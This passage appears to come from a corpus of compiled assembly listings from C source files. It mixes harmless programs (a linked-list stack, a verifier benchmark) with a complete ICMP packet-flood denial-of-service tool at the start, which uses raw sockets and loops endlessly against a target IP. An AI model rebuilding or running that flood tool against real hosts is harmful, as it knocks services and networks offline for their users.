adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
mov w0, #-1
bl _exit
LBB1_8:
mov w8, #560
stur w8, [x29, #-44]
ldursw x0, [x29, #-44]
bl _malloc
stur x0, [x29, #-56]
ldur x8, [x29, #-56]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_10
b LBB1_9
LBB1_9:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_10:
ldur x0, [x29, #-56]
ldursw x2, [x29, #-44]
mov w1, #0
mov x3, #-1
bl ___memset_chk
ldur x8, [x29, #-56]
str x8, [sp, #56]
ldur x8, [x29, #-56]
add x8, x8, #20
str x8, [sp, #48]
mov w8, #560
stur w8, [x29, #-60]
ldr x9, [sp, #56]
ldrb w8, [x9]
and w8, w8, #0xf
orr w8, w8, #0x40
strb w8, [x9]
ldr x9, [sp, #56]
ldrb w8, [x9]
and w8, w8, #0xfffffff0
mov w10, #5
orr w8, w8, w10
strb w8, [x9]
ldr x8, [sp, #56]
strb wzr, [x8, #1]
b LBB1_11
LBB1_11:
ldur w8, [x29, #-44]
and w0, w8, #0xffff
bl __OSSwapInt16
and w8, w0, #0xffff
str w8, [sp, #20] ; 4-byte Folded Spill
b LBB1_12
LBB1_12:
ldr w8, [sp, #20] ; 4-byte Folded Reload
ldr x9, [sp, #56]
strh w8, [x9, #2]
bl _getpid
and w0, w0, #0xffff
bl __OSSwapInt16
and w8, w0, #0xffff
ldr x9, [sp, #56]
strh w8, [x9, #4]
ldr x8, [sp, #56]
strh wzr, [x8, #6]
ldr x9, [sp, #56]
mov w8, #255
strb w8, [x9, #8]
ldr x9, [sp, #56]
mov w8, #1
strb w8, [x9, #9]
ldr x8, [sp, #56]
strh wzr, [x8, #10]
ldur x8, [x29, #-24]
ldr x9, [sp, #56]
; kill: def $w8 killed $w8 killed $x8
str w8, [x9, #12]
ldur x8, [x29, #-32]
ldr x9, [sp, #56]
; kill: def $w8 killed $w8 killed $x8
str w8, [x9, #16]
ldr x9, [sp, #48]
mov w8, #8
strb w8, [x9]
ldr x8, [sp, #48]
strb wzr, [x8, #1]
ldr x8, [sp, #48]
strh wzr, [x8, #2]
str xzr, [sp, #32]
str xzr, [sp, #40]
mov w8, #2
strb w8, [sp, #33]
ldur x8, [x29, #-32]
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #36]
str wzr, [sp, #28]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB1_13
LBB1_13: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-56]
add x8, x8, #48
str x8, [sp, #8] ; 8-byte Folded Spill
bl _rand
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov w10, #255
sdiv w9, w8, w10
mul w9, w9, w10
subs w1, w8, w9
mov x2, #512
mov x3, #-1
bl ___memset_chk
ldr x0, [sp, #48]
mov w1, #540
bl _checksum
ldr x8, [sp, #48]
strh w0, [x8, #2]
ldur w0, [x29, #-36]
ldur x1, [x29, #-56]
ldursw x2, [x29, #-60]
mov w3, #0
add x4, sp, #32
mov w5, #16
bl _sendto
mov x8, x0
str w8, [sp, #24]
ldr w8, [sp, #24]
subs w8, w8, #1
cset w8, ge
tbnz w8, #0, LBB1_15
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_13 Depth=1
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
ldur x0, [x29, #-56]
bl _free
ldur w0, [x29, #-36]
bl _close
b LBB1_15
LBB1_15: ; in Loop: Header=BB1_13 Depth=1
ldr w8, [sp, #28]
add w10, w8, #1
str w10, [sp, #28]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
b LBB1_13
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function _OSSwapInt16
__OSSwapInt16: ; @_OSSwapInt16
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
strh w0, [sp, #14]
ldrh w9, [sp, #14]
ldrh w8, [sp, #14]
asr w8, w8, #8
orr w8, w8, w9, lsl #8
and w0, w8, #0xffff
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Dos Attack: Type 1, normal dos.\n\n"
l_.str.1: ; @.str.1
.asciz "Usage:\n"
l_.str.2: ; @.str.2
.asciz "sudo %s <target ip>\n"
l_.str.3: ; @.str.3
.asciz "Raw socket create failed!\n"
l_.str.4: ; @.str.4
.asciz "Set socket option IP_HDRINCL failed! (Can't set ip header by this program.)\n"
l_.str.5: ; @.str.5
.asciz "Set socket option SO_BROADCAST failed! (Can't broadcast.)\n"
l_.str.6: ; @.str.6
.asciz "Malloc error!\n"
l_.str.7: ; @.str.7
.asciz "Attacking!\n"
l_.str.8: ; @.str.8
.asciz "Send error!\n"
l_.str.9: ; @.str.9
.asciz "%d packets were sent\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _checksum ## -- Begin function checksum
.p2align 4, 0x90
_checksum: ## @checksum
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq $0, -24(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $1, -12(%rbp)
jle LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
movq %rax, %rcx
addq $2, %rcx
movq %rcx, -8(%rbp)
movzwl (%rax), %eax
## kill: def $rax killed $eax
addq -24(%rbp), %rax
movq %rax, -24(%rbp)
movslq -12(%rbp), %rax
subq $2, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_3:
cmpl $0, -12(%rbp)
je LBB0_5
## %bb.4:
movq -8(%rbp), %rax
movzbl (%rax), %eax
## kill: def $rax killed $eax
addq -24(%rbp), %rax
movq %rax, -24(%rbp)
LBB0_5:
jmp LBB0_6
LBB0_6: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
shrq $16, %rax
cmpq $0, %rax
je LBB0_8
## %bb.7: ## in Loop: Header=BB0_6 Depth=1
movq -24(%rbp), %rax
shrq $16, %rax
movq -24(%rbp), %rcx
andq $65535, %rcx ## imm = 0xFFFF
addq %rcx, %rax
movq %rax, -24(%rbp)
jmp LBB0_6
LBB0_8:
movq -24(%rbp), %rax
xorq $-1, %rax
## kill: def $ax killed $ax killed $rax
movzwl %ax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
cmpl $2, -8(%rbp)
jge LBB1_2
## %bb.1:
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -105(%rbp) ## 1-byte Spill
callq _printf
## kill: def $ecx killed $eax
movb -105(%rbp), %al ## 1-byte Reload
movq -16(%rbp), %rcx
movq (%rcx), %rsi
leaq L_.str.2(%rip), %rdi
callq _printf
movl $-1, %edi
callq _exit
LBB1_2:
callq _rand
cltq
movq %rax, -24(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _inet_addr
movl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -32(%rbp)
movl $2, %edi
movl $3, %esi
movl $255, %edx
callq _socket
movl %eax, -36(%rbp)
cmpl $0, -36(%rbp)
jge LBB1_4
## %bb.3:
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $-1, %edi
callq _exit
LBB1_4:
movl $1, -40(%rbp)
movl -36(%rbp), %edi
leaq -40(%rbp), %rcx
xorl %esi, %esi
movl $2, %edx
movl $4, %r8d
callq _setsockopt
cmpl $-1, %eax
jne LBB1_6
## %bb.5:
leaq L_.str.4(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $-1, %edi
callq _exit
LBB1_6:
movl -36(%rbp), %edi
leaq -40(%rbp), %rcx
movl $65535, %esi ## imm = 0xFFFF
movl $32, %edx
movl $4, %r8d
callq _setsockopt
cmpl $-1, %eax
jne LBB1_8
## %bb.7:
leaq L_.str.5(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $-1, %edi
callq _exit
LBB1_8:
movl $560, -44(%rbp) ## imm = 0x230
movslq -44(%rbp), %rdi
callq _malloc
movq %rax, -56(%rbp)
cmpq $0, -56(%rbp)
jne LBB1_10
## %bb.9:
leaq L_.str.6(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_10:
movq -56(%rbp), %rdi
movslq -44(%rbp), %rdx
xorl %esi, %esi
movq $-1, %rcx
callq ___memset_chk
movq -56(%rbp), %rax
movq %rax, -72(%rbp)
movq -56(%rbp), %rax
addq $20, %rax
movq %rax, -80(%rbp)
movl $560, -60(%rbp) ## imm = 0x230
movq -72(%rbp), %rax
movb (%rax), %cl
andb $15, %cl
orb $64, %cl
movb %cl, (%rax)
movq -72(%rbp), %rax
movb (%rax), %cl
andb $-16, %cl
orb $5, %cl
movb %cl, (%rax)
movq -72(%rbp), %rax
movb $0, 1(%rax)
## %bb.11:
movl -44(%rbp), %eax
## kill: def $ax killed $ax killed $eax
movzwl %ax, %edi
callq __OSSwapInt16
movzwl %ax, %eax
movl %eax, -112(%rbp) ## 4-byte Spill
## %bb.12:
movl -112(%rbp), %eax ## 4-byte Reload
movw %ax, %cx
movq -72(%rbp), %rax
movw %cx, 2(%rax)
callq _getpid
## kill: def $ax killed $ax killed $eax
movzwl %ax, %edi
callq __OSSwapInt16
movzwl %ax, %eax
movw %ax, %cx
movq -72(%rbp), %rax
movw %cx, 4(%rax)
movq -72(%rbp), %rax
movw $0, 6(%rax)
movq -72(%rbp), %rax
movb $-1, 8(%rax)
movq -72(%rbp), %rax
movb $1, 9(%rax)
movq -72(%rbp), %rax
movw $0, 10(%rax)
movq -24(%rbp), %rax
movl %eax, %ecx
movq -72(%rbp), %rax
movl %ecx, 12(%rax)
movq -32(%rbp), %rax
movl %eax, %ecx
movq -72(%rbp), %rax
movl %ecx, 16(%rax)
movq -80(%rbp), %rax
movb $8, (%rax)
movq -80(%rbp), %rax
movb $0, 1(%rax)
movq -80(%rbp), %rax
movw $0, 2(%rax)
leaq -96(%rbp), %rdi
xorl %esi, %esi
movl $16, %edx
callq _memset
movb $2, -95(%rbp)
movq -32(%rbp), %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -92(%rbp)
movl $0, -100(%rbp)
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
LBB1_13: ## =>This Inner Loop Header: Depth=1
movq -56(%rbp), %rax
addq $20, %rax
addq $28, %rax
movq %rax, -120(%rbp) ## 8-byte Spill
callq _rand
movq -120(%rbp), %rdi ## 8-byte Reload
movl $255, %ecx
cltd
idivl %ecx
movl %edx, %esi
movl $512, %edx ## imm = 0x200
movq $-1, %rcx
callq ___memset_chk
movq -80(%rbp), %rdi
movl $540, %esi ## imm = 0x21C
callq _checksum
movw %ax, %cx
movq -80(%rbp), %rax
movw %cx, 2(%rax)
movl -36(%rbp), %edi
movq -56(%rbp), %rsi
movslq -60(%rbp), %rdx
leaq -96(%rbp), %r8
xorl %ecx, %ecx
movl $16, %r9d
callq _sendto
## kill: def $eax killed $eax killed $rax
movl %eax, -104(%rbp)
cmpl $1, -104(%rbp)
jge LBB1_15
## %bb.14: ## in Loop: Header=BB1_13 Depth=1
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
movq -56(%rbp), %rdi
callq _free
movl -36(%rbp), %edi
callq _close
LBB1_15: ## in Loop: Header=BB1_13 Depth=1
movl -100(%rbp), %esi
addl $1, %esi
movl %esi, -100(%rbp)
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
jmp LBB1_13
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function _OSSwapInt16
__OSSwapInt16: ## @_OSSwapInt16
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movw %di, %ax
movw %ax, -2(%rbp)
movzwl -2(%rbp), %eax
shll $8, %eax
movzwl -2(%rbp), %ecx
sarl $8, %ecx
orl %ecx, %eax
## kill: def $ax killed $ax killed $eax
movzwl %ax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Dos Attack: Type 1, normal dos.\n\n"
L_.str.1: ## @.str.1
.asciz "Usage:\n"
L_.str.2: ## @.str.2
.asciz "sudo %s <target ip>\n"
L_.str.3: ## @.str.3
.asciz "Raw socket create failed!\n"
L_.str.4: ## @.str.4
.asciz "Set socket option IP_HDRINCL failed! (Can't set ip header by this program.)\n"
L_.str.5: ## @.str.5
.asciz "Set socket option SO_BROADCAST failed! (Can't broadcast.)\n"
L_.str.6: ## @.str.6
.asciz "Malloc error!\n"
L_.str.7: ## @.str.7
.asciz "Attacking!\n"
L_.str.8: ## @.str.8
.asciz "Send error!\n"
L_.str.9: ## @.str.9
.asciz "%d packets were sent\n"
.subsections_via_symbols
| the_stack_data/11075565.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/45450338.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _f1 ; -- Begin function f1
.p2align 2
_f1: ; @f1
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
add x9, sp, #16
add x8, x29, #16
str x8, [x9]
ldr x9, [sp, #16]
ldr w8, [x9]
add x9, x9, #8
str x9, [sp, #16]
str w8, [sp, #12]
ldr w0, [sp, #12]
bl _f2
ldr x9, [sp, #16]
ldrb w8, [x9]
add x9, x9, #8
str x9, [sp, #16]
strb w8, [sp, #11]
ldrb w8, [sp, #11]
and w0, w8, #0x1
bl _f2
ldr x9, [sp, #16]
ldr w8, [x9]
add x9, x9, #8
str x9, [sp, #16]
str w8, [sp, #4]
ldr w0, [sp, #4]
bl _f2
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _f1 ## -- Begin function f1
.p2align 4, 0x90
_f1: ## @f1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $304, %rsp ## imm = 0x130
testb %al, %al
je LBB0_13
## %bb.12:
movaps %xmm0, -176(%rbp)
movaps %xmm1, -160(%rbp)
movaps %xmm2, -144(%rbp)
movaps %xmm3, -128(%rbp)
movaps %xmm4, -112(%rbp)
movaps %xmm5, -96(%rbp)
movaps %xmm6, -80(%rbp)
movaps %xmm7, -64(%rbp)
LBB0_13:
movq %r9, -184(%rbp)
movq %r8, -192(%rbp)
movq %rcx, -200(%rbp)
movq %rdx, -208(%rbp)
movq %rsi, -216(%rbp)
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -36(%rbp)
leaq -32(%rbp), %rax
leaq -224(%rbp), %rcx
movq %rcx, 16(%rax)
leaq 16(%rbp), %rcx
movq %rcx, 8(%rax)
movl $48, 4(%rax)
movl $8, (%rax)
leaq -32(%rbp), %rax
movq %rax, -240(%rbp) ## 8-byte Spill
movl -32(%rbp), %eax
movl %eax, -228(%rbp) ## 4-byte Spill
cmpl $40, %eax
ja LBB0_2
## %bb.1:
movq -240(%rbp), %rcx ## 8-byte Reload
movl -228(%rbp), %edx ## 4-byte Reload
movslq %edx, %rax
addq 16(%rcx), %rax
addl $8, %edx
movl %edx, (%rcx)
movq %rax, -248(%rbp) ## 8-byte Spill
jmp LBB0_3
LBB0_2:
movq -240(%rbp), %rcx ## 8-byte Reload
movq 8(%rcx), %rax
movq %rax, %rdx
addq $8, %rdx
movq %rdx, 8(%rcx)
movq %rax, -248(%rbp) ## 8-byte Spill
LBB0_3:
movq -248(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
callq _f2
leaq -32(%rbp), %rax
movq %rax, -264(%rbp) ## 8-byte Spill
movl -32(%rbp), %eax
movl %eax, -252(%rbp) ## 4-byte Spill
cmpl $40, %eax
ja LBB0_5
## %bb.4:
movq -264(%rbp), %rcx ## 8-byte Reload
movl -252(%rbp), %edx ## 4-byte Reload
movslq %edx, %rax
addq 16(%rcx), %rax
addl $8, %edx
movl %edx, (%rcx)
movq %rax, -272(%rbp) ## 8-byte Spill
jmp LBB0_6
LBB0_5:
movq -264(%rbp), %rcx ## 8-byte Reload
movq 8(%rcx), %rax
movq %rax, %rdx
addq $8, %rdx
movq %rdx, 8(%rcx)
movq %rax, -272(%rbp) ## 8-byte Spill
LBB0_6:
movq -272(%rbp), %rax ## 8-byte Reload
movb (%rax), %al
andb $1, %al
movzbl %al, %edi
callq _f2
leaq -32(%rbp), %rax
movq %rax, -288(%rbp) ## 8-byte Spill
movl -32(%rbp), %eax
movl %eax, -276(%rbp) ## 4-byte Spill
cmpl $40, %eax
ja LBB0_8
## %bb.7:
movq -288(%rbp), %rcx ## 8-byte Reload
movl -276(%rbp), %edx ## 4-byte Reload
movslq %edx, %rax
addq 16(%rcx), %rax
addl $8, %edx
movl %edx, (%rcx)
movq %rax, -296(%rbp) ## 8-byte Spill
jmp LBB0_9
LBB0_8:
movq -288(%rbp), %rcx ## 8-byte Reload
movq 8(%rcx), %rax
movq %rax, %rdx
addq $8, %rdx
movq %rdx, 8(%rcx)
movq %rax, -296(%rbp) ## 8-byte Spill
LBB0_9:
movq -296(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
callq _f2
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_11
## %bb.10:
addq $304, %rsp ## imm = 0x130
popq %rbp
retq
LBB0_11:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/3263363.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _addition ; -- Begin function addition
.p2align 2
_addition: ; @addition
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str w0, [sp, #8]
str w1, [sp, #4]
ldr w8, [sp, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr w8, [sp, #8]
stur w8, [x29, #-4]
b LBB0_6
LBB0_2:
ldr w8, [sp, #4]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr w8, [sp, #8]
add w0, w8, #1
ldr w8, [sp, #4]
subs w1, w8, #1
bl _addition
stur w0, [x29, #-4]
b LBB0_6
LBB0_4:
ldr w8, [sp, #4]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldr w8, [sp, #8]
subs w0, w8, #1
ldr w8, [sp, #4]
add w1, w8, #1
bl _addition
stur w0, [x29, #-4]
b LBB0_6
LBB0_6:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
bl ___VERIFIER_nondet_int
str w0, [sp, #8]
bl ___VERIFIER_nondet_int
str w0, [sp, #4]
ldr w0, [sp, #8]
ldr w1, [sp, #4]
bl _addition
str w0, [sp]
ldr w8, [sp, #8]
subs w8, w8, #100
cset w8, lt
tbnz w8, #0, LBB1_3
b LBB1_1
LBB1_1:
ldr w8, [sp, #4]
subs w8, w8, #100
cset w8, lt
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2:
ldr w8, [sp]
subs w8, w8, #200
cset w8, lt
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
LBB1_4:
b LBB1_5
LBB1_5:
bl ___VERIFIER_error
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _addition ## -- Begin function addition
.p2align 4, 0x90
_addition: ## @addition
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -8(%rbp)
movl %esi, -12(%rbp)
cmpl $0, -12(%rbp)
jne LBB0_2
## %bb.1:
movl -8(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB0_6
LBB0_2:
cmpl $0, -12(%rbp)
jle LBB0_4
## %bb.3:
movl -8(%rbp), %edi
addl $1, %edi
movl -12(%rbp), %esi
subl $1, %esi
callq _addition
movl %eax, -4(%rbp)
jmp LBB0_6
LBB0_4:
cmpl $0, -12(%rbp)
jge LBB0_6
## %bb.5:
movl -8(%rbp), %edi
subl $1, %edi
movl -12(%rbp), %esi
addl $1, %esi
callq _addition
movl %eax, -4(%rbp)
LBB0_6:
movl -4(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
callq ___VERIFIER_nondet_int
movl %eax, -8(%rbp)
callq ___VERIFIER_nondet_int
movl %eax, -12(%rbp)
movl -8(%rbp), %edi
movl -12(%rbp), %esi
callq _addition
movl %eax, -16(%rbp)
cmpl $100, -8(%rbp)
jl LBB1_3
## %bb.1:
cmpl $100, -12(%rbp)
jl LBB1_3
## %bb.2:
cmpl $200, -16(%rbp)
jl LBB1_4
LBB1_3:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
LBB1_4:
jmp LBB1_5
LBB1_5:
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq ___VERIFIER_error
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/147014221.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _createElement ; -- Begin function createElement
.p2align 2
_createElement: ; @createElement
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
mov x0, #16
bl _malloc
str x0, [sp, #8]
ldur w8, [x29, #-12]
ldr x9, [sp, #8]
str w8, [x9]
ldr x8, [sp, #8]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
ldr x0, [sp, #8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _push ; -- Begin function push
.p2align 2
_push: ; @push
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
ldur x8, [x29, #-8]
str x8, [sp, #8]
ldur x0, [x29, #-8]
ldur w1, [x29, #-12]
bl _createElement
stur x0, [x29, #-8]
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
str x8, [x9, #8]
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _isEmpty ; -- Begin function isEmpty
.p2align 2
_isEmpty: ; @isEmpty
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
and w0, w8, #0x1
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _pop ; -- Begin function pop
.p2align 2
_pop: ; @pop
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
bl _isEmpty
tbnz w0, #0, LBB3_2
b LBB3_1
LBB3_1:
ldr x8, [sp, #8]
str x8, [sp]
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
ldr x0, [sp]
bl _free
b LBB3_3
LBB3_2:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _puts
b LBB3_3
LBB3_3:
ldr x0, [sp, #8]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _showStack ; -- Begin function showStack
.p2align 2
_showStack: ; @showStack
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w8, #1
sturb w8, [x29, #-9]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB4_8
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _puts
ldurb w8, [x29, #-9]
tbz w8, #0, LBB4_4
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldur x8, [x29, #-8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
sturb wzr, [x29, #-9]
b LBB4_5
LBB4_4: ; in Loop: Header=BB4_1 Depth=1
ldur x8, [x29, #-8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB4_5
LBB4_5: ; in Loop: Header=BB4_1 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB4_7
b LBB4_6
LBB4_6: ; in Loop: Header=BB4_1 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _puts
b LBB4_7
LBB4_7: ; in Loop: Header=BB4_1 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
stur x8, [x29, #-8]
b LBB4_1
LBB4_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _createMenu ; -- Begin function createMenu
.p2align 2
_createMenu: ; @createMenu
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
